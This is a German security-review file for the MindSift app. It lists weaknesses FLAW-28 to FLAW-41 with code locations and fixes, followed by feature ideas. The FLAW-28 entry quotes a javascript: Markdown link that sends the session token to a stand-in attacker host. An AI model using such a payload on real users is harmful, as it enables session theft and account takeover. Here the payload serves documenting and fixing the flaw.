Files
MindSift/Doku/flaws.md
T
sandrodachandClaude Opus 5.5 b2ecda9896
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m48s
fix(security): safe links and security headers (FLAW-28, FLAW-29)
safeHref lets only http, https and mailto become links (Markdown viewer,
outliner, legal links); javascript: and friends show as text. A
middleware sets a Content-Security-Policy (scripts only from MindSift,
no framing, connections only to this server), X-Frame-Options,
nosniff, Referrer-Policy and a Permissions-Policy. The two inline
scripts of index.html moved to files so script-src stays 'self'.

The second inline script also deleted every cache on each page load,
which undermined the offline start; it is gone.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 19:02:13 +01:00

13 KiB

Schwachstellen, Risiken & Ideen

Stand: Review des Branches dev nach v0.5 (Oktober 2026). Die frühere Liste (FLAW-01 bis FLAW-27) ist abgearbeitet und entfernt; ihre Geschichte steht in den Commits. Neue Einträge zählen ab FLAW-28 weiter, damit Verweise in Commits eindeutig bleiben. Jeder Eintrag ist gegen den Quellcode geprüft; die Fundstellen sind angegeben.

Schweregrade: Hoch (Kontoübernahme oder Datenabfluss möglich), Mittel (Schutz greift nicht oder Fehlfunktion unter realistischen Bedingungen), Niedrig (Härtung, Datenschutz, Wartbarkeit).


Übersicht

ID Bereich Kurzbeschreibung Schwere
FLAW-28 Frontend javascript:-Links in Markdown (Aufgaben-Notizen) werden ausgeführt Behoben
FLAW-29 Netzwerk Keine Sicherheits-Header (CSP, Clickjacking-Schutz, nosniff) Behoben
FLAW-30 Konto Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern Mittel
FLAW-31 Auth Sitzungs-Token 30 Tage gültig und im localStorage Mittel
FLAW-32 Daten IDs und Einladungscodes haben nur 40 Bit Zufall Mittel
FLAW-33 Demo Öffentliche Demo als Absender missbrauchbar (Alarm-Webhooks, Testmails, Server-Einstellungen) Mittel
FLAW-34 Admin SMTP-Passwort im Klartext an die Oberfläche, in DB und Datenbank-Backups Niedrig
FLAW-35 Netzwerk Webhook-Ingest nimmt Sitzungs-Token und Keys auch als ?token= Niedrig
FLAW-36 Backend Kein allgemeines Größenlimit für JSON-Anfragen Niedrig
FLAW-37 Datenschutz Konto löschen entfernt die Server-Backups des Kontos nicht Niedrig
FLAW-38 Betrieb WriteTimeout von 30 s bricht große Downloads ab Niedrig
FLAW-39 Auth Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse Niedrig
FLAW-40 Auth Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar Niedrig
FLAW-41 Qualität Sehr große Frontend-Dateien Niedrig

Details

  • Status: Behoben. safeHref (lib/safeUrl.ts) lässt nur http:, https: und mailto: zu und wird von Markdown-Anzeige, Outliner und Impressums-Links genutzt; sonst erscheint der Link als Text. Tests: safeUrl.test.tsx.
  • Fundstelle: renderInline in lib/markdown.tsx: [Text](URL) wird ungeprüft zu <a href={url}>. Verwendet für Aufgaben-Notizen (TaskDetailModal) und Impressum/Datenschutz.
  • Problem: [Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token)) in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im localStorage liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur http(s)-Links erlaubt.
  • Maßnahme: Nur http:, https: und mailto: als href zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29).

FLAW-29: Keine Sicherheits-Header

  • Status: Behoben. headers.go setzt CSP (script-src 'self', frame-ancestors 'none', object-src 'none', Verbindungen nur zum eigenen Server), X-Frame-Options: DENY, nosniff, Referrer-Policy: same-origin, Permissions-Policy. Die beiden Inline-Scripts der Startseite sind in Dateien gewandert; Styles bleiben inline erlaubt (eigene Themes). Mit Chromium und WebKit durch alle Ansichten geprüft: keine CSP-Meldungen.
  • Fundstelle: Router in server.go, Auslieferung in cmd/server/main.go.
  • Problem: Es gibt weder Content-Security-Policy noch X-Frame-Options/frame-ancestors, X-Content-Type-Options: nosniff oder Referrer-Policy. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst.
  • Maßnahme: Header-Middleware: frame-ancestors 'none', nosniff, Referrer-Policy: same-origin, CSP mit script-src 'self' (Inline-Splash-Script per Hash erlauben) und connect-src 'self'.

FLAW-30: Passwort und E-Mail ohne aktuelles Passwort änderbar

  • Fundstelle: handleUpdateUserSettings in handlers_auth.go (PATCH /auth/settings mit password bzw. email).
  • Problem: Wer eine Sitzung in die Hände bekommt (offener Rechner, gestohlenes Token), setzt ein neues Passwort oder eine neue E-Mail-Adresse und sperrt den Besitzer dauerhaft aus; über die neue Adresse funktioniert dann auch „Passwort vergessen“ für den Angreifer. Konto löschen und Daten löschen verlangen das Passwort bereits (confirmPassword).
  • Maßnahme: Für Passwort- und E-Mail-Änderung currentPassword verlangen (gleiche Prüfung wie confirmPassword), Hinweis-Mail an die alte Adresse.

FLAW-31: Langlebige Sitzung im localStorage

  • Fundstelle: GenerateToken (30 Tage) in auth.go, setToken in lib/api.ts.
  • Problem: Jedes Script im Kontext der App kann das Token lesen (vgl. FLAW-28); ein gestohlenes Token gilt bis zu 30 Tage. Es gibt keine Übersicht der Sitzungen, nur „Alle Sitzungen beenden“.
  • Maßnahme: Kurzlebiges Zugriffs-Token mit Erneuerung, Sitzungsliste mit Gerät/Zeit und Einzel-Abmelden; mittelfristig HttpOnly-Cookie mit CSRF-Schutz.

FLAW-32: Nur 40 Bit Zufall in IDs

  • Fundstelle: NewID in domain/models.go (5 Zufallsbytes); Einladungscodes INV-… in CreateUserInvite (users.go) leiten sich davon ab.
  • Problem: Bei 40 Bit liegt die Wahrscheinlichkeit einer Kollision ab etwa einer Million Datensätze einer Tabelle bei rund 40 % (Geburtstagsproblem); eine Kollision lässt das Anlegen fehlschlagen oder überschreibt bei Upserts. Einladungscodes sind ohne Rate-Limit (FLAW-39) online rate-, aber nicht praktisch erratbar; 40 Bit sind für ein Geheimnis trotzdem zu wenig.
  • Maßnahme: NewID auf 12 Bytes (96 Bit) anheben (Spalten sind TEXT, alte IDs bleiben gültig); Einladungscodes mit eigenen 16 Zufallsbytes.

FLAW-33: Öffentliche Demo als Absender missbrauchbar

  • Fundstelle: Admin-Routen in server.go; Demo-Konto admin/admin (users.go).
  • Problem: Auf einer öffentlichen Demo meldet sich jeder als Admin an. Er kann „Alarm-Webhooks ins lokale Netz erlauben“ einschalten und Alarme an Adressen im Netz des Demo-Hosts schicken lassen (SSRF), SMTP-Zugangsdaten lesen und ändern, Organisationen und Konten umbauen. Der 20-Minuten-Reset setzt das zurück, aber nicht rechtzeitig.
  • Ausgehende Anfragen: Auch ohne Admin-Rechte kann jeder Demo-Besucher eine Discord- oder eigene Webhook-URL hinterlegen und über „Alarm testen“ beliebig oft Anfragen an fremde öffentliche Adressen schicken lassen; Fälligkeits-Alarme tun dasselbe zeitgesteuert. Die Demo wird so zum Absender für Spam (z. B. in fremde Discord-Kanäle) oder für Anfragen an Dritte, und zwar von der IP-Adresse des Demo-Servers. Ist in der Demo SMTP eingerichtet, gilt das ebenso für Mails an beliebige Adressen.
  • Maßnahme: Im Demo-Modus alle ausgehenden Kanäle aus: keine Alarm-Webhooks, kein Discord, keine Alarm- und Testmails, „Alarm testen“ und der SMTP-Test antworten mit einem Hinweis; die Oberfläche zeigt „In der Demo deaktiviert“. Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt. Eingehende Webhooks (API-Keys) bleiben erlaubt, sie schreiben nur in die Demo-Datenbank.

FLAW-34: SMTP-Passwort im Klartext

  • Fundstelle: handleAdminGetSettings (handlers_admin.go) liefert smtpPass aus; Speicherung in system_settings.
  • Problem: Das Passwort erscheint in der Admin-Oberfläche, im Browser-Cache der Antwort (Offline-Lese-Cache) und in jedem Datenbank-Backup.
  • Maßnahme: Nie zurückliefern (nur „gesetzt“ anzeigen, leer = unverändert); optional per SMTP_PASS-Umgebungsvariable statt Datenbank.

FLAW-35: ?token= beim Webhook-Ingest

  • Fundstelle: handleWebhookIngest in handlers_integrations.go.
  • Problem: Neben X-API-Key wird das Token weiterhin aus der URL gelesen, auch ein Sitzungs-Token. Es landet in Proxy- und Zugriffslogs; eine Sitzung in der URL ist ein vollwertiges Login.
  • Maßnahme: In der URL nur noch API-Keys annehmen (für Geräte, die keine Header setzen können), keine Sitzungs-Tokens; Doku weist bereits auf den Header hin.

FLAW-36: Kein allgemeines Größenlimit für Anfragen

  • Fundstelle: 46 Stellen json.NewDecoder(r.Body) ohne http.MaxBytesReader in internal/api/ (Ausnahmen: Import, Themes, Sync, Passwort-Reset).
  • Problem: Ein angemeldeter Nutzer oder ein API-Key kann sehr große Körper schicken und Speicher binden.
  • Maßnahme: Middleware mit Standardlimit (z. B. 2 MB), größere Grenzen nur für Import/Sync.

FLAW-37: Server-Backups überleben das gelöschte Konto

  • Fundstelle: DeleteOwnAccount / handleAdminDeleteUser und backups/users/<id>/ (backups.go).
  • Problem: Nach dem Löschen eines Kontos bleiben seine Backups bis zum Ablauf der Aufbewahrung liegen (Datenschutz, „Recht auf Löschung“). Datenbank-Abzüge enthalten das Konto ebenfalls bis zum Ablauf.
  • Maßnahme: Beim Löschen eines Kontos backups/users/<id>/ mitlöschen; Aufbewahrung der DB-Abzüge in der Datenschutzerklärung nennen.

FLAW-38: Große Downloads brechen nach 30 s ab

  • Fundstelle: WriteTimeout: 30 * time.Second in cmd/server/main.go; betroffen: Markdown-Archiv, ZIP-Backup, Datenbank-Abzug (http.ServeFile).
  • Problem: Bei langsamer Verbindung oder großem Abzug endet der Download unvollständig (Streams heben die Grenze bereits pro Antwort auf, Downloads nicht).
  • Maßnahme: Für Download-Handler die Schreibfrist per http.ResponseController verlängern, wie bei SSE.

FLAW-39: Kein Rate-Limit außerhalb des Logins

  • Fundstelle: handleRegister, handleForgotPassword (Sperre nur je Konto), Einladungscode-Prüfung.
  • Problem: Massenhaftes Anlegen von Konten (bei offener Registrierung), Durchprobieren von Einladungscodes und Mail-Flut über „Passwort vergessen“ an viele Adressen sind nicht gebremst.
  • Maßnahme: Den vorhandenen loginGuard um Töpfe pro Adresse für diese Endpunkte erweitern.

FLAW-40: Einladungscode doppelt einlösbar

  • Fundstelle: handleRegister: GetUserInviteByCode → Konto anlegen → MarkUserInviteUsed.
  • Problem: Zwei gleichzeitige Registrierungen mit demselben Code kommen beide durch.
  • Maßnahme: Code in einer Transaktion bzw. per UPDATE … WHERE used_by = '' beanspruchen, bevor das Konto entsteht.

FLAW-41: Sehr große Frontend-Dateien

  • Fundstelle: WorkspaceView.tsx (≈ 2.300 Zeilen), TasksView.tsx (≈ 2.500), lib/api.ts (≈ 1.700).
  • Problem: Schwer zu überblicken, Änderungen kollidieren leicht, Tests decken nur Teile ab.
  • Maßnahme: In Unterkomponenten (Seitenleiste, Ordnerbaum, Tags, To-Do-Rollup; Liste, Kanban, Filter) und api.ts in REST-Client und Realtime-Transport teilen.

Ideen für Funktionen

Erfassen

  • Teilen-Ziel der App (share_target im Manifest): Links und Texte aus anderen Apps auf dem Handy direkt in die Inbox teilen.
  • Natürliche Zeitangaben beim Erfassen: „Zahnarzt morgen 14 Uhr“ setzt die Fälligkeit mit Uhrzeit.
  • Mail an die Inbox: eine persönliche Adresse, deren Mails als Gedanken landen.

Aufgaben & Erinnerungen

  • Web-Push-Benachrichtigungen für Alarme direkt auf Handy und Desktop, ohne Discord oder E-Mail.
  • Alarme auch für Zugewiesene, nicht nur für den Eigentümer der Aufgabe.
  • Zeitzone pro Benutzer statt einer Server-Zeitzone für alle.
  • Kalenderansicht und iCal-Abo der fälligen Aufgaben (z. B. in Google-/Apple-Kalender).
  • Flexiblere Wiederholungen: „jeden 2. Dienstag“, „am letzten Werktag“, „3 Tage nach Erledigen“.

Notizen

  • Versionsverlauf ansehen und zurückholen: das Operations-Log (doc_ops) ist vorhanden, eine Ansicht fehlt.
  • Bilder und Anhänge in Notizen.
  • Vorlagen und Tagesnotiz (z. B. „Wochenrückblick“, „Heute“).
  • Öffentlicher Lese-Link für einzelne Notizen, mit Ablaufdatum.
  • Verlinkungs-Graph auf Basis der Backlinks.

Listen

  • Sortierung nach Laden: Kategorien in der Reihenfolge des eigenen Supermarkts.
  • Häufige Einträge vorschlagen beim Tippen (aus erledigten Einträgen).

Konto & Sicherheit

  • Zwei-Faktor-Anmeldung (TOTP) oder Passkeys.
  • Sitzungsübersicht mit Einzel-Abmelden (siehe FLAW-31).
  • Anmeldung über OIDC (Authelia, Authentik, Keycloak) für Homelab-Setups.
  • Admin-Protokoll: wer hat wann Konten, Rollen und Einstellungen geändert.

Betrieb

  • Backups an ein externes Ziel (WebDAV, S3, SFTP), damit sie eine kaputte Platte überleben.
  • /metrics für Prometheus und ein Healthcheck, der auch die Datenbank prüft.
  • Update-Hinweis in der Admin-Oberfläche, wenn ein neues Release-Image verfügbar ist.